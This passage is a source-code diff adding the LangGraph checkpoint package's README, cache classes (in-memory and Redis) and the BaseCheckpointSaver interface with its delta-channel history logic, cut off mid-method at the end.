+[LangSmith](https://www.langchain.com/langsmith) is a unified developer platform for building, testing, and monitoring LLM applications. + +## Quick Install + +```bash +uv add langgraph-checkpoint +``` + +## 🤔 What is this? + +This library defines the base interface for LangGraph checkpointers. Checkpointers provide a persistence layer for LangGraph: they save graph state at every superstep, enabling human-in-the-loop, memory between interactions, durable execution, and more. + +## 📖 Documentation + +For full documentation, see the [API reference](https://reference.langchain.com/python/langgraph.checkpoint). For conceptual guides on persistence and memory, see the [LangGraph Docs](https://docs.langchain.com/oss/python/langgraph/overview). + +## Key concepts + +### Checkpoint + +Checkpoint is a snapshot of the graph state at a given point in time. Checkpoint tuple refers to an object containing checkpoint and the associated config, metadata and pending writes. + +### Thread + +Threads enable the checkpointing of multiple different runs, making them essential for multi-tenant chat applications and other scenarios where maintaining separate states is necessary. A thread is a unique ID assigned to a series of checkpoints saved by a checkpointer. When using a checkpointer, you must specify a `thread_id` and optionally `checkpoint_id` when running the graph. + +- `thread_id` is simply the ID of a thread. This is always required. +- `checkpoint_id` can optionally be passed. This identifier refers to a specific checkpoint within a thread. This can be used to kick off a run of a graph from some point halfway through a thread. + +You must pass these when invoking the graph as part of the configurable part of the config, e.g. + +```python +{"configurable": {"thread_id": "1"}} # valid config +{"configurable": {"thread_id": "1", "checkpoint_id": "0c62ca34-ac19-445d-bbb0-5b4984975b2a"}} # also valid config +``` + +### Serde + +`langgraph-checkpoint` also defines protocol for serialization/deserialization (serde) and provides a default implementation (`langgraph.checkpoint.serde.jsonplus.JsonPlusSerializer`) that handles a wide variety of types, including LangChain and LangGraph primitives, datetimes, enums and more. + +> [!IMPORTANT] +> **Checkpoint deserialization security:** By default the serializer allows any Python type found in checkpoint data. New applications should set the environment variable `LANGGRAPH_STRICT_MSGPACK=true` or pass an explicit `allowed_msgpack_modules` list to `JsonPlusSerializer` to restrict deserialization to known-safe types. + +### Pending writes + +When a graph node fails mid-execution at a given superstep, LangGraph stores pending checkpoint writes from any other nodes that completed successfully at that superstep, so that whenever we resume graph execution from that superstep we don't re-run the successful nodes. + +## Interface + +Each checkpointer should conform to `langgraph.checkpoint.base.BaseCheckpointSaver` interface and must implement the following methods: + +- `.put` - Store a checkpoint with its configuration and metadata. +- `.put_writes` - Store intermediate writes linked to a checkpoint (i.e. pending writes). +- `.get_tuple` - Fetch a checkpoint tuple using for a given configuration (`thread_id` and `checkpoint_id`). +- `.list` - List checkpoints that match a given configuration and filter criteria. +- `.delete_thread()` - Delete all checkpoints and writes associated with a thread. +- `.get_next_version()` - Generate the next version ID for a channel. + +If the checkpointer will be used with asynchronous graph execution (i.e. executing the graph via `.ainvoke`, `.astream`, `.abatch`), checkpointer must implement asynchronous versions of the above methods (`.aput`, `.aput_writes`, `.aget_tuple`, `.alist`). Similarly, the checkpointer must implement `.adelete_thread()` if asynchronous thread cleanup is desired. The base class provides a default implementation of `.get_next_version()` that generates an integer sequence starting from 1, but this method should be overridden for custom versioning schemes. + +## Usage + +```python +from langgraph.checkpoint.memory import InMemorySaver + +write_config = {"configurable": {"thread_id": "1", "checkpoint_ns": ""}} +read_config = {"configurable": {"thread_id": "1"}} + +checkpointer = InMemorySaver() +checkpoint = { + "v": 4, + "ts": "2024-07-31T20:14:19.804150+00:00", + "id": "1ef4f797-8335-6428-8001-8a1503f9b875", + "channel_values": { + "my_key": "meow", + "node": "node" + }, + "channel_versions": { + "__start__": 2, + "my_key": 3, + "start:node": 3, + "node": 3 + }, + "versions_seen": { + "__input__": {}, + "__start__": { + "__start__": 1 + }, + "node": { + "start:node": 2 + } + }, +} + +# store checkpoint +checkpointer.put(write_config, checkpoint, {}, {}) + +# load checkpoint +checkpointer.get(read_config) + +# list checkpoints +list(checkpointer.list(read_config)) +``` + +## 📕 Releases & Versioning + +See our [Releases](https://docs.langchain.com/oss/python/release-policy) and [Versioning](https://docs.langchain.com/oss/python/versioning) policies. + +## 💁 Contributing + +As an open-source project in a rapidly developing field, we are extremely open to contributions, whether it be in the form of a new feature, improved infrastructure, or better documentation. + +For detailed information on how to contribute, see the [Contributing Guide](https://docs.langchain.com/oss/python/contributing/overview). diff --git a/libs/checkpoint/langgraph/cache/base/__init__.py b/libs/checkpoint/langgraph/cache/base/__init__.py new file mode 100644 index 0000000..092324e --- /dev/null +++ b/libs/checkpoint/langgraph/cache/base/__init__.py @@ -0,0 +1,48 @@ +from __future__ import annotations + +from abc import ABC, abstractmethod +from collections.abc import Mapping, Sequence +from typing import Generic, TypeVar + +from langgraph.checkpoint.serde.base import SerializerProtocol +from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer + +ValueT = TypeVar("ValueT") +Namespace = tuple[str, ...] +FullKey = tuple[Namespace, str] + + +class BaseCache(ABC, Generic[ValueT]): + """Base class for a cache.""" + + serde: SerializerProtocol = JsonPlusSerializer(pickle_fallback=False) + + def __init__(self, *, serde: SerializerProtocol | None = None) -> None: + """Initialize the cache with a serializer.""" + self.serde = serde or self.serde + + @abstractmethod + def get(self, keys: Sequence[FullKey]) -> dict[FullKey, ValueT]: + """Get the cached values for the given keys.""" + + @abstractmethod + async def aget(self, keys: Sequence[FullKey]) -> dict[FullKey, ValueT]: + """Asynchronously get the cached values for the given keys.""" + + @abstractmethod + def set(self, pairs: Mapping[FullKey, tuple[ValueT, int | None]]) -> None: + """Set the cached values for the given keys and TTLs.""" + + @abstractmethod + async def aset(self, pairs: Mapping[FullKey, tuple[ValueT, int | None]]) -> None: + """Asynchronously set the cached values for the given keys and TTLs.""" + + @abstractmethod + def clear(self, namespaces: Sequence[Namespace] | None = None) -> None: + """Delete the cached values for the given namespaces. + If no namespaces are provided, clear all cached values.""" + + @abstractmethod + async def aclear(self, namespaces: Sequence[Namespace] | None = None) -> None: + """Asynchronously delete the cached values for the given namespaces. + If no namespaces are provided, clear all cached values.""" diff --git a/libs/checkpoint/langgraph/cache/base/py.typed b/libs/checkpoint/langgraph/cache/base/py.typed new file mode 100644 index 0000000..e69de29 diff --git a/libs/checkpoint/langgraph/cache/memory/__init__.py b/libs/checkpoint/langgraph/cache/memory/__init__.py new file mode 100644 index 0000000..7b10db0 --- /dev/null +++ b/libs/checkpoint/langgraph/cache/memory/__init__.py @@ -0,0 +1,73 @@ +from __future__ import annotations + +import datetime +import threading +from collections.abc import Mapping, Sequence + +from langgraph.cache.base import BaseCache, FullKey, Namespace, ValueT +from langgraph.checkpoint.serde.base import SerializerProtocol + + +class InMemoryCache(BaseCache[ValueT]): + def __init__(self, *, serde: SerializerProtocol | None = None): + super().__init__(serde=serde) + self._cache: dict[Namespace, dict[str, tuple[str, bytes, float | None]]] = {} + self._lock = threading.RLock() + + def get(self, keys: Sequence[FullKey]) -> dict[FullKey, ValueT]: + """Get the cached values for the given keys.""" + with self._lock: + if not keys: + return {} + now = datetime.datetime.now(datetime.timezone.utc).timestamp() + values: dict[FullKey, ValueT] = {} + for ns_tuple, key in keys: + ns = Namespace(ns_tuple) + if ns in self._cache and key in self._cache[ns]: + enc, val, expiry = self._cache[ns][key] + if expiry is None or now < expiry: + values[(ns, key)] = self.serde.loads_typed((enc, val)) + else: + del self._cache[ns][key] + return values + + async def aget(self, keys: Sequence[FullKey]) -> dict[FullKey, ValueT]: + """Asynchronously get the cached values for the given keys.""" + return self.get(keys) + + def set(self, keys: Mapping[FullKey, tuple[ValueT, int | None]]) -> None: + """Set the cached values for the given keys.""" + with self._lock: + now = datetime.datetime.now(datetime.timezone.utc) + for (ns, key), (value, ttl) in keys.items(): + if ttl is not None: + delta = datetime.timedelta(seconds=ttl) + expiry: float | None = (now + delta).timestamp() + else: + expiry = None + if ns not in self._cache: + self._cache[ns] = {} + self._cache[ns][key] = ( + *self.serde.dumps_typed(value), + expiry, + ) + + async def aset(self, keys: Mapping[FullKey, tuple[ValueT, int | None]]) -> None: + """Asynchronously set the cached values for the given keys.""" + self.set(keys) + + def clear(self, namespaces: Sequence[Namespace] | None = None) -> None: + """Delete the cached values for the given namespaces. + If no namespaces are provided, clear all cached values.""" + with self._lock: + if namespaces is None: + self._cache.clear() + else: + for ns in namespaces: + if ns in self._cache: + del self._cache[ns] + + async def aclear(self, namespaces: Sequence[Namespace] | None = None) -> None: + """Asynchronously delete the cached values for the given namespaces. + If no namespaces are provided, clear all cached values.""" + self.clear(namespaces) diff --git a/libs/checkpoint/langgraph/cache/redis/__init__.py b/libs/checkpoint/langgraph/cache/redis/__init__.py new file mode 100644 index 0000000..ea4f714 --- /dev/null +++ b/libs/checkpoint/langgraph/cache/redis/__init__.py @@ -0,0 +1,144 @@ +from __future__ import annotations + +from collections.abc import Mapping, Sequence +from typing import Any + +from langgraph.cache.base import BaseCache, FullKey, Namespace, ValueT +from langgraph.checkpoint.serde.base import SerializerProtocol + + +class RedisCache(BaseCache[ValueT]): + """Redis-based cache implementation with TTL support.""" + + def __init__( + self, + redis: Any, + *, + serde: SerializerProtocol | None = None, + prefix: str = "langgraph:cache:", + ) -> None: + """Initialize the cache with a Redis client. + + Args: + redis: Redis client instance (sync or async) + serde: Serializer to use for values + prefix: Key prefix for all cached values + """ + super().__init__(serde=serde) + self.redis = redis + self.prefix = prefix + + def _make_key(self, ns: Namespace, key: str) -> str: + """Create a Redis key from namespace and key.""" + ns_str = ":".join(ns) if ns else "" + return f"{self.prefix}{ns_str}:{key}" if ns_str else f"{self.prefix}{key}" + + def _parse_key(self, redis_key: str) -> tuple[Namespace, str]: + """Parse a Redis key back to namespace and key.""" + if not redis_key.startswith(self.prefix): + raise ValueError( + f"Key {redis_key} does not start with prefix {self.prefix}" + ) + + remaining = redis_key[len(self.prefix) :] + if ":" in remaining: + parts = remaining.split(":") + key = parts[-1] + ns_parts = parts[:-1] + return (tuple(ns_parts), key) + else: + return (tuple(), remaining) + + def get(self, keys: Sequence[FullKey]) -> dict[FullKey, ValueT]: + """Get the cached values for the given keys.""" + if not keys: + return {} + + # Build Redis keys + redis_keys = [self._make_key(ns, key) for ns, key in keys] + + # Get values from Redis using MGET + try: + raw_values = self.redis.mget(redis_keys) + except Exception: + # If Redis is unavailable, return empty dict + return {} + + values: dict[FullKey, ValueT] = {} + for i, raw_value in enumerate(raw_values): + if raw_value is not None: + try: + # Deserialize the value + encoding, data = raw_value.split(b":", 1) + values[keys[i]] = self.serde.loads_typed((encoding.decode(), data)) + except Exception: + # Skip corrupted entries + continue + + return values + + async def aget(self, keys: Sequence[FullKey]) -> dict[FullKey, ValueT]: + """Asynchronously get the cached values for the given keys.""" + return self.get(keys) + + def set(self, mapping: Mapping[FullKey, tuple[ValueT, int | None]]) -> None: + """Set the cached values for the given keys and TTLs.""" + if not mapping: + return + + # Use pipeline for efficient batch operations + pipe = self.redis.pipeline() + + for (ns, key), (value, ttl) in mapping.items(): + redis_key = self._make_key(ns, key) + encoding, data = self.serde.dumps_typed(value) + + # Store as "encoding:data" format + serialized_value = f"{encoding}:".encode() + data + + if ttl is not None: + pipe.setex(redis_key, ttl, serialized_value) + else: + pipe.set(redis_key, serialized_value) + + try: + pipe.execute() + except Exception: + # Silently fail if Redis is unavailable + pass + + async def aset(self, mapping: Mapping[FullKey, tuple[ValueT, int | None]]) -> None: + """Asynchronously set the cached values for the given keys and TTLs.""" + self.set(mapping) + + def clear(self, namespaces: Sequence[Namespace] | None = None) -> None: + """Delete the cached values for the given namespaces. + If no namespaces are provided, clear all cached values.""" + try: + if namespaces is None: + # Clear all keys with our prefix + pattern = f"{self.prefix}*" + keys = self.redis.keys(pattern) + if keys: + self.redis.delete(*keys) + else: + # Clear specific namespaces + keys_to_delete = [] + for ns in namespaces: + ns_str = ":".join(ns) if ns else "" + pattern = ( + f"{self.prefix}{ns_str}:*" if ns_str else f"{self.prefix}*" + ) + keys = self.redis.keys(pattern) + keys_to_delete.extend(keys) + + if keys_to_delete: + self.redis.delete(*keys_to_delete) + except Exception: + # Silently fail if Redis is unavailable + pass + + async def aclear(self, namespaces: Sequence[Namespace] | None = None) -> None: + """Asynchronously delete the cached values for the given namespaces. + If no namespaces are provided, clear all cached values.""" + self.clear(namespaces) diff --git a/libs/checkpoint/langgraph/checkpoint/base/__init__.py b/libs/checkpoint/langgraph/checkpoint/base/__init__.py new file mode 100644 index 0000000..6e42061 --- /dev/null +++ b/libs/checkpoint/langgraph/checkpoint/base/__init__.py @@ -0,0 +1,860 @@ +from __future__ import annotations + +import copy +import logging +from collections.abc import AsyncIterator, Collection, Iterator, Mapping, Sequence +from typing import ( + Any, + Generic, + Literal, + NamedTuple, + TypedDict, + TypeVar, +) + +from langchain_core.runnables import RunnableConfig +from typing_extensions import NotRequired + +from langgraph.checkpoint.base.id import uuid6 +from langgraph.checkpoint.serde.base import SerializerProtocol, maybe_add_typed_methods +from langgraph.checkpoint.serde.encrypted import EncryptedSerializer +from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer +from langgraph.checkpoint.serde.types import ( + ERROR, + INTERRUPT, + RESUME, + SCHEDULED, + ChannelProtocol, +) + +V = TypeVar("V", int, float, str) +PendingWrite = tuple[str, str, Any] + + +logger = logging.getLogger(__name__) + + +# Marked as total=False to allow for future expansion. +class CheckpointMetadata(TypedDict, total=False): + """Metadata associated with a checkpoint.""" + + source: Literal["input", "loop", "update", "fork"] + """The source of the checkpoint. + + - `"input"`: The checkpoint was created from an input to invoke/stream/batch. + - `"loop"`: The checkpoint was created from inside the pregel loop. + - `"update"`: The checkpoint was created from a manual state update. + - `"fork"`: The checkpoint was created as a copy of another checkpoint. + """ + step: int + """The step number of the checkpoint. + + `-1` for the first `"input"` checkpoint. + `0` for the first `"loop"` checkpoint. + `...` for the `nth` checkpoint afterwards. + """ + parents: dict[str, str] + """The IDs of the parent checkpoints. + + Mapping from checkpoint namespace to checkpoint ID. + """ + run_id: str + """The ID of the run that created this checkpoint.""" + counters_since_delta_snapshot: dict[str, tuple[int, int]] + """Per-channel counters since the last `_DeltaSnapshot` was written. + + !!! warning "Beta" + + This metadata field backs `DeltaChannel` (beta). The key name and + contents may change while the delta-channel design stabilizes. + + Maps channel name -> `(updates, supersteps)`: + + - index 0 (`updates`): number of supersteps that wrote to this channel + since its last snapshot blob. + - index 1 (`supersteps`): total supersteps elapsed since this channel's + last snapshot, regardless of whether the channel was written. + + A snapshot fires when EITHER `updates >= ch.snapshot_frequency` OR + `supersteps >= DELTA_MAX_SUPERSTEPS_SINCE_SNAPSHOT` (system-wide bound, + default 5000, env `LANGGRAPH_DELTA_MAX_SUPERSTEPS_SINCE_SNAPSHOT`). + The supersteps bound prevents unbounded ancestor walks on threads where + a delta channel exists but is no longer being updated. + + Absent on threads that don't use delta channels. Persisted as a + 2-element list in JSON (no native tuple). + """ + + +ChannelVersions = dict[str, str | int | float] + + +class Checkpoint(TypedDict): + """State snapshot at a given point in time.""" + + v: int + """The version of the checkpoint format. Currently `1`.""" + id: str + """The ID of the checkpoint. + + This is both unique and monotonically increasing, so can be used for sorting + checkpoints from first to last.""" + ts: str + """The timestamp of the checkpoint in ISO 8601 format.""" + channel_values: dict[str, Any] + """The values of the channels at the time of the checkpoint. + + Mapping from channel name to deserialized channel snapshot value. + """ + channel_versions: ChannelVersions + """The versions of the channels at the time of the checkpoint. + + The keys are channel names and the values are monotonically increasing + version strings for each channel. + """ + versions_seen: dict[str, ChannelVersions] + """Map from node ID to map from channel name to version seen. + + This keeps track of the versions of the channels that each node has seen. + Used to determine which nodes to execute next. + """ + updated_channels: list[str] | None + """The channels that were updated in this checkpoint. + """ + + +def copy_checkpoint(checkpoint: Checkpoint) -> Checkpoint: + return Checkpoint( + v=checkpoint["v"], + ts=checkpoint["ts"], + id=checkpoint["id"], + channel_values=checkpoint["channel_values"].copy(), + channel_versions=checkpoint["channel_versions"].copy(), + versions_seen={k: v.copy() for k, v in checkpoint["versions_seen"].items()}, + pending_sends=checkpoint.get("pending_sends", []).copy(), + updated_channels=checkpoint.get("updated_channels", None), + ) + + +class CheckpointTuple(NamedTuple): + """A tuple containing a checkpoint and its associated data.""" + + config: RunnableConfig + checkpoint: Checkpoint + metadata: CheckpointMetadata + parent_config: RunnableConfig | None = None + pending_writes: list[PendingWrite] | None = None + + +class DeltaChannelHistory(TypedDict): + """Per-channel result entry from `BaseCheckpointSaver.get_delta_channel_history`. + + !!! warning "Beta" + + Part of the `DeltaChannel` support surface; in beta. Field names and + semantics may change. + + Storage-level view of what one channel contributed across the ancestor + chain of a target checkpoint: + + * `writes` — on-path deltas oldest→newest as `PendingWrite` tuples. + Always present; possibly empty. Already filtered to one channel. + Writes stored at the target checkpoint itself are pending for the + next super-step and are excluded. + * `seed` — the stored value at the nearest ancestor whose + `channel_values[ch]` is populated. Omitted if the walk reached the + root without finding any stored value (consumer treats absence as + "start empty"). Typically a `_DeltaSnapshot` for delta channels with + finite snapshot frequency, or a plain value for threads migrated + from a pre-delta channel type. + """ + + writes: list[PendingWrite] + seed: NotRequired[Any] + + +class BaseCheckpointSaver(Generic[V]): + """Base class for creating a graph checkpointer. + + Checkpointers allow LangGraph agents to persist their state + within and across multiple interactions. + + When a checkpointer is configured, you should pass a `thread_id` in the config when + invoking the graph: + + ```python + config = {"configurable": {"thread_id": "my-thread"}} + graph.invoke(inputs, config) + ``` + + The `thread_id` is the primary key used to store and retrieve checkpoints. Without + it, the checkpointer cannot save state, resume from interrupts, or enable + time-travel debugging. + + How you choose ``thread_id`` depends on your use case: + + - **Single-shot workflows**: Use a unique ID (e.g., uuid4) for each run when + executions are independent. + - **Conversational memory**: Reuse the same `thread_id` across invocations + to accumulate state (e.g., chat history) within a conversation. + + Attributes: + serde (SerializerProtocol): Serializer for encoding/decoding checkpoints. + + Note: + When creating a custom checkpoint saver, consider implementing async + versions to avoid blocking the main thread. + """ + + serde: SerializerProtocol = JsonPlusSerializer() + + def __init__( + self, + *, + serde: SerializerProtocol | None = None, + ) -> None: + self.serde = maybe_add_typed_methods(serde or self.serde) + + @property + def config_specs(self) -> list: + """Define the configuration options for the checkpoint saver. + + Returns: + list: List of configuration field specs. + """ + return [] + + def get(self, config: RunnableConfig) -> Checkpoint | None: + """Fetch a checkpoint using the given configuration. + + Args: + config: Configuration specifying which checkpoint to retrieve. + + Returns: + The requested checkpoint, or `None` if not found. + """ + if value := self.get_tuple(config): + return value.checkpoint + + def get_tuple(self, config: RunnableConfig) -> CheckpointTuple | None: + """Fetch a checkpoint tuple using the given configuration. + + Args: + config: Configuration specifying which checkpoint to retrieve. + + Returns: + The requested checkpoint tuple, or `None` if not found. + + Raises: + NotImplementedError: Implement this method in your custom checkpoint saver. + """ + raise NotImplementedError + + def list( + self, + config: RunnableConfig | None, + *, + filter: dict[str, Any] | None = None, + before: RunnableConfig | None = None, + limit: int | None = None, + ) -> Iterator[CheckpointTuple]: + """List checkpoints that match the given criteria. + + Args: + config: Base configuration for filtering checkpoints. + filter: Additional filtering criteria. + before: List checkpoints created before this configuration. + limit: Maximum number of checkpoints to return. + + Returns: + Iterator of matching checkpoint tuples. + + Raises: + NotImplementedError: Implement this method in your custom checkpoint saver. + """ + raise NotImplementedError + + def put( + self, + config: RunnableConfig, + checkpoint: Checkpoint, + metadata: CheckpointMetadata, + new_versions: ChannelVersions, + ) -> RunnableConfig: + """Store a checkpoint with its configuration and metadata. + + Args: + config: Configuration for the checkpoint. + checkpoint: The checkpoint to store. + metadata: Additional metadata for the checkpoint. + new_versions: New channel versions as of this write. + + Returns: + RunnableConfig: Updated configuration after storing the checkpoint. + + Raises: + NotImplementedError: Implement this method in your custom checkpoint saver. + """ + raise NotImplementedError + + def put_writes( + self, + config: RunnableConfig, + writes: Sequence[tuple[str, Any]], + task_id: str, + task_path: str = "", + ) -> None: + """Store intermediate writes linked to a checkpoint. + + Args: + config: Configuration of the related checkpoint. + writes: List of writes to store. + task_id: Identifier for the task creating the writes. + task_path: Path of the task creating the writes. + + Raises: + NotImplementedError: Implement this method in your custom checkpoint saver. + """ + raise NotImplementedError + + def delete_thread( + self, + thread_id: str, + ) -> None: + """Delete all checkpoints and writes associated with a specific thread ID. + + Args: + thread_id: The thread ID whose checkpoints should be deleted. + """ + raise NotImplementedError + + def delete_for_runs( + self, + run_ids: Sequence[str], + ) -> None: + """Delete all checkpoints and writes associated with the given run IDs. + + Args: + run_ids: The run IDs whose checkpoints should be deleted. + + !!! warning "DeltaChannel" + + Deleting a run that produced ancestor `checkpoint_writes` — or + the only `_DeltaSnapshot` blob — for a still-live thread will + break reconstruction of any `DeltaChannel` whose history + depended on those rows. See the `DeltaChannel` note on `prune` + for safe-recovery strategies. + """ + raise NotImplementedError + + def copy_thread( + self, + source_thread_id: str, + target_thread_id: str, + ) -> None: + """Copy all checkpoints and writes from one thread to another. + + Args: + source_thread_id: The thread ID to copy from. + target_thread_id: The thread ID to copy to. + + !!! warning "DeltaChannel" + + Implementations must copy the **complete** parent chain (all + ancestor checkpoints and their `checkpoint_writes`) — copying + only the head checkpoint will leave the target thread with + `DeltaChannel` state that cannot be reconstructed (no path back + to a `_DeltaSnapshot` ancestor). Equivalently, the copy must + include enough ancestors that every `DeltaChannel`-backed key + has either a `_DeltaSnapshot` in `channel_values` somewhere in + the chain, or a complete write history back to the chain root. + """ + raise NotImplementedError + + def prune( + self, + thread_ids: Sequence[str], + *, + strategy: str = "keep_latest", + ) -> None: + """Prune checkpoints for the given threads. + + Args: + thread_ids: The thread IDs to prune. + strategy: The pruning strategy. `"keep_latest"` retains only the most + recent checkpoint per namespace. `"delete"` removes all checkpoints. + + !!! warning "DeltaChannel" + + Custom implementations must be `DeltaChannel`-aware. `DeltaChannel` + stores only a sentinel in `channel_values` for non-snapshot steps; + reconstruction walks the parent chain via + `get_delta_channel_history`, accumulating rows from + `checkpoint_writes` until it reaches an ancestor whose + `channel_values` contains a `_DeltaSnapshot` blob (written every + `snapshot_frequency` updates). + + A naive `"keep_latest"` that drops intermediate checkpoints and + their writes can sever that chain: the surviving "latest" + checkpoint is rarely a snapshot point itself, so its delta + channels would silently reconstruct as empty (no error raised — + `get_delta_channel_history` simply returns no `seed`). Safe + options when the graph uses `DeltaChannel`: + + * Walk back from each kept checkpoint and preserve every + ancestor (plus its `checkpoint_writes`) up to the nearest one + whose `channel_values` already contains a `_DeltaSnapshot` for + every `DeltaChannel`-backed key. + * Force a fresh snapshot on the kept checkpoint before deleting + ancestors — rewrite `channel_values[k] = _DeltaSnapshot(value)` + for each delta channel `k` (resolving `value` via the existing + ancestor walk first), then prune. + * Skip pruning threads whose graph uses `DeltaChannel` until one + of the above is implemented. + """ + raise NotImplementedError + + async def aget(self, config: RunnableConfig) -> Checkpoint | None: + """Asynchronously fetch a checkpoint using the given configuration. + + Args: + config: Configuration specifying which checkpoint to retrieve. + + Returns: + The requested checkpoint, or `None` if not found. + """ + if value := await self.aget_tuple(config): + return value.checkpoint + + async def aget_tuple(self, config: RunnableConfig) -> CheckpointTuple | None: + """Asynchronously fetch a checkpoint tuple using the given configuration. + + Args: + config: Configuration specifying which checkpoint to retrieve. + + Returns: + The requested checkpoint tuple, or `None` if not found. + + Raises: + NotImplementedError: Implement this method in your custom checkpoint saver. + """ + raise NotImplementedError + + async def alist( + self, + config: RunnableConfig | None, + *, + filter: dict[str, Any] | None = None, + before: RunnableConfig | None = None, + limit: int | None = None, + ) -> AsyncIterator[CheckpointTuple]: + """Asynchronously list checkpoints that match the given criteria. + + Args: + config: Base configuration for filtering checkpoints. + filter: Additional filtering criteria for metadata. + before: List checkpoints created before this configuration. + limit: Maximum number of checkpoints to return. + + Returns: + Async iterator of matching checkpoint tuples. + + Raises: + NotImplementedError: Implement this method in your custom checkpoint saver. + """ + raise NotImplementedError + yield + + async def aput( + self, + config: RunnableConfig, + checkpoint: Checkpoint, + metadata: CheckpointMetadata, + new_versions: ChannelVersions, + ) -> RunnableConfig: + """Asynchronously store a checkpoint with its configuration and metadata. + + Args: + config: Configuration for the checkpoint. + checkpoint: The checkpoint to store. + metadata: Additional metadata for the checkpoint. + new_versions: New channel versions as of this write. + + Returns: + RunnableConfig: Updated configuration after storing the checkpoint. + + Raises: + NotImplementedError: Implement this method in your custom checkpoint saver. + """ + raise NotImplementedError + + async def aput_writes( + self, + config: RunnableConfig, + writes: Sequence[tuple[str, Any]], + task_id: str, + task_path: str = "", + ) -> None: + """Asynchronously store intermediate writes linked to a checkpoint. + + Args: + config: Configuration of the related checkpoint. + writes: List of writes to store. + task_id: Identifier for the task creating the writes. + task_path: Path of the task creating the writes. + + Raises: + NotImplementedError: Implement this method in your custom checkpoint saver. + """ + raise NotImplementedError + + async def adelete_thread( + self, + thread_id: str, + ) -> None: + """Delete all checkpoints and writes associated with a specific thread ID. + + Args: + thread_id: The thread ID whose checkpoints should be deleted. + """ + raise NotImplementedError + + async def adelete_for_runs( + self, + run_ids: Sequence[str], + ) -> None: + """Asynchronously delete all checkpoints and writes for the given run IDs. + + Args: + run_ids: The run IDs whose checkpoints should be deleted. + + !!! warning "DeltaChannel" + + See `delete_for_runs` — deleting rows a still-live thread's + `DeltaChannel` reconstruction depends on (writes between the + head and its nearest `_DeltaSnapshot` ancestor) will silently + corrupt that channel's state. + """ + raise NotImplementedError + + async def acopy_thread( + self, + source_thread_id: str, + target_thread_id: str, + ) -> None: + """Asynchronously copy all checkpoints and writes from one thread to another. + + Args: + source_thread_id: The thread ID to copy from. + target_thread_id: The thread ID to copy to. + + !!! warning "DeltaChannel" + + See `copy_thread` — the copy must carry the complete parent + chain (or at least back to a `_DeltaSnapshot` ancestor for every + `DeltaChannel`) so the target thread can reconstruct delta + state. + """ + raise NotImplementedError + + async def aprune( + self, + thread_ids: Sequence[str], + *, + strategy: str = "keep_latest", + ) -> None: + """Asynchronously prune checkpoints for the given threads. + + Args: + thread_ids: The thread IDs to prune. + strategy: The pruning strategy. `"keep_latest"` retains only the most + recent checkpoint per namespace. `"delete"` removes all checkpoints. + + !!! warning "DeltaChannel" + + See `prune` for the full `DeltaChannel` caveat. In short: + `"keep_latest"` must not drop ancestor checkpoints / writes that + sit between the kept checkpoint and the nearest `_DeltaSnapshot` + ancestor, or delta channels will silently reconstruct as empty. + """ + raise NotImplementedError + + def get_delta_channel_history( + self, *, config: RunnableConfig, channels: Sequence[str] + ) -> Mapping[str, DeltaChannelHistory]: + """Walk the parent chain returning per-channel writes + seed. + + !!! warning "Beta" + + This method is part of the `DeltaChannel` support surface and is + in beta. The signature, return shape (`DeltaChannelHistory`), and + interaction with `_DeltaSnapshot` blobs may change. Override at + your own risk; the default implementation will continue to work + against the public `BaseCheckpointSaver` contract. + + For each requested channel, walks ancestors of the checkpoint + identified by `config` (following `parent_config`) and accumulates + `pending_writes` for that channel. The walk terminates per-channel + at the nearest ancestor whose `channel_values[ch]` is populated; + that value is returned as `seed`. If the walk reaches the root + without finding a stored value, `seed` is omitted from that + channel's entry — the consumer treats the absence as "start + empty." + + Walks the **parent chain** (not `list(before=...)`): for forked + threads, only on-path ancestors contribute. + + The default implementation walks `get_tuple` + `parent_config` + once for all channels — each ancestor visited once, not once per + channel. Savers with direct storage access (`InMemorySaver`, + `PostgresSaver`) override for performance; the return contract is + fixed here. + + Args: + config: Configuration identifying the target checkpoint. + channels: Channel names to walk for. Empty → empty mapping. + + Returns: + Per-channel `DeltaChannelHistory` for every name in `channels`. + """ + if not channels: + return {} + collected_by_ch: dict[str, list[PendingWrite]] = {c: [] for c in channels} + seed_by_ch: dict[str, Any] = {} + remaining: set[str] = set(channels) + target_tuple = self.get_tuple(config) + cursor_config: RunnableConfig | None = ( + target_tuple.parent_config if target_tuple else None + ) + while cursor_config is not None and remaining: + tup = self.get_tuple(cursor_config) + if tup is None: + break + if tup.pending_writes: + for write in reversed(tup.pending_writes): + ch = write[1] + if ch in remaining: + collected_by_ch[ch].append(write) + for ch in list(remaining): + if ch in tup.checkpoint["channel_values"]: + seed_by_ch[ch] = tup.checkpoint["channel_values"][ch] + remaining.discard(ch) + cursor_config = tup.parent_config + result: dict[str, DeltaChannelHistory] = {} + for ch in channels: + entry: DeltaChannelHistory = {"writes": list(reversed(collected_by_ch[ch]))} + if ch in seed_by_ch: + entry["seed"] = seed_by_ch[ch] + result[ch] = entry + return result + + async def aget_delta_channel_history( + self, *, config: RunnableConfig, channels: Sequence[str] + ) -> Mapping[str, DeltaChannelHistory]: + """Async version of `get_delta_channel_history`. + + !!! warning "Beta" + + This method is part of the `DeltaChannel` support surface and is + in beta. See `get_delta_channel_history` for caveats. + """ + if not channels: + return {} + collected_by_ch: dict[str, list[PendingWrite]] = {c: [] for c in channels} + seed_by_ch: dict[str, Any] = {} + remaining: set[str] = set(channels) + target_tuple = await self.aget_tuple(config) + cursor_config: RunnableConfig | None = ( + target_tuple.parent_config if target_tuple else None + ) + while cursor_config is not None and remaining: + tup = await self.aget_tuple(cursor_config) + if tup is None: + break + if tup.pending_writes: + for write in reversed(tup.pending_writes): + ch = write[1] + if ch in remaining: + collected_by_ch[ch].append(write) + for ch in list(remaining): + if ch in tup.checkpoint["channel_values"]: + seed_by_ch[ch] = tup.checkpoint["channel_values"][ch] + remaining.discard(ch) + cursor_config = tup.parent_config + result: dict[str, DeltaChannelHistory] = {} + for ch in channels: + entry: DeltaChannelHistory = {"writes": list(reversed(collected_by_ch[ch]))} + if ch in seed_by_ch: + entry["seed"] = seed_by_ch[ch] + result[ch] = entry + return result + + def get_next_version(self, current: V | None, channel: None) -> V: + """Generate the next version ID for a channel. + + Default is to use integer versions, incrementing by `1`. + + If you override, you can use `str`/`int`/`float` versions, as long as they are monotonically increasing. + + Args: + current: The current version identifier (`int`, `float`, or `str`). + channel: Deprecated argument, kept for backwards compatibility. + + Returns: + V: The next version identifier, which must be increasing. + """ + if isinstance(current, str): + raise NotImplementedError + elif current is None: + return 1 + else: + return current + 1 + + def with_allowlist( + self, extra_allowlist: Collection[tuple[str, ...]] + ) 